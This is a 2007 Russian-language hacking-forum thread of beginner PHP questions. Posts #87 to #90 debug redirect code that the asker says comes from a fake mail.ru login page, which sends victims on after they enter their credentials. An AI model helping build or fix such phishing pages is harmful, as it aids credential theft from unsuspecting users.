ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #81  
Старый 11.06.2007, 23:30
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию

PHP код:
file_get_contents 
Читает файлы ........

Если чето по строкам надо, то
PHP код:
explode 
 
Ответить с цитированием

  #82  
Старый 11.06.2007, 23:38
$Lemur$
Познающий
Регистрация: 07.01.2007
Сообщений: 65
С нами: 10179938

Репутация: 45
По умолчанию

да все я разобрался спасибо
 
Ответить с цитированием

  #83  
Старый 12.06.2007, 09:29
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 320
С нами: 12513535

Репутация: 187
Post

Цитата:
Сообщение от Joker-jar  
Есть функция, генерирующая строку заданной длины из заданного символа?
PHP код:
str_repeat("-="10); 
 
Ответить с цитированием

  #84  
Старый 12.06.2007, 20:52
Fire3d
Познающий
Регистрация: 14.04.2007
Сообщений: 46
С нами: 10039785

Репутация: 13
По умолчанию

Cтранно вот мой код
<?
$os=array('Window','Linux','Freebsd','OS/2');
$os[]='MS-Dos';
echo '<table border=1>';
for ($a=0; $a<count($os); $a++) {
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
}
echo'</table>';
?>

а вот чужой
<?
$operating_systems = array( 'Windows', 'Linux', 'FreeBSD', 'OS/2');
$operating_systems[] = 'MS-DOS';

echo '<table border=1>';
for ($i=0; $i<count($operating_systems); $i++) {
echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';
}
echo '</table>';
?>

Почему мой не работает ?
 
Ответить с цитированием

  #85  
Старый 12.06.2007, 21:19
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
С нами: 10393869

Репутация: 2032


По умолчанию

echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';

echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';

эти строчки различаются... посмотри)
 
Ответить с цитированием

  #86  
Старый 12.06.2007, 21:43
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами: 10160966

Репутация: 1719


По умолчанию

Цитата:
Сообщение от Fire3d  
Cтранно вот мой код
[...]
Почему мой не работает ?
строка 6
Код:
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
сначала должен идти tr, затем td... и еще одна опечатка. исправленная строка:
Код:
echo'<tr><td>'. $a .'</td><td>'. $os[$a] . '</td></tr>';

Последний раз редактировалось n1†R0x; 12.06.2007 в 21:47..
 
Ответить с цитированием

  #87  
Старый 13.06.2007, 00:29
$Lemur$
Познающий
Регистрация: 07.01.2007
Сообщений: 65
С нами: 10179938

Репутация: 45
По умолчанию

PHP код:
header("Location: http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045"); // куда пошлем пользователя после того как он ввел данные!

echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">" 
почему так он переадресует в http://win.mail.ru/cgi-bin/start?1390370218

а не в http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045

где там ошибка

код взят из фейка mail http://rapidshare.com/files/30822932/fake.rar
 
Ответить с цитированием

  #88  
Старый 13.06.2007, 04:12
hhover
Познающий
Регистрация: 21.05.2007
Сообщений: 61
С нами: 9986942

Репутация: 145
По умолчанию

header будет работать лишь в том случае, если перед этим заголовки не были уже посланы. Тоесть до строки с header не должно быть лишних echo, а так же html кода и любых других символов вне <?php

Тоесть тот кусок, что ты дал будет работать без ошибок, но в контексте скрипта header может не сработать и скрипт пойдет выполняться дальше, делая редирект при помощи <meta http-equiv=refresh.
 
Ответить с цитированием

  #89  
Старый 13.06.2007, 10:15
$Lemur$
Познающий
Регистрация: 07.01.2007
Сообщений: 65
С нами: 10179938

Репутация: 45
По умолчанию

2hhover спасибо, и еще один вопрос

PHP код:
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">" 
почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку

на не профисиональный взгляд в этом примере ковычки не правильно раставлены или я ошибаюсь
 
Ответить с цитированием

  #90  
Старый 13.06.2007, 10:59
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 320
С нами: 12513535

Репутация: 187
Post

Цитата:
Сообщение от $Lemur$  
PHP код:
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">" 
почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку

на не профисиональный взгляд в этом примере ковычки не правильно раставлены или я ошибаюсь
Возьми сам URL в одинарные ковычки.., т.е.:
PHP код:
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL='http://win.mail.ru/cgi-bin/start?1390370218'\">" 
В случае с http://www.mail.ru - то же самое
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.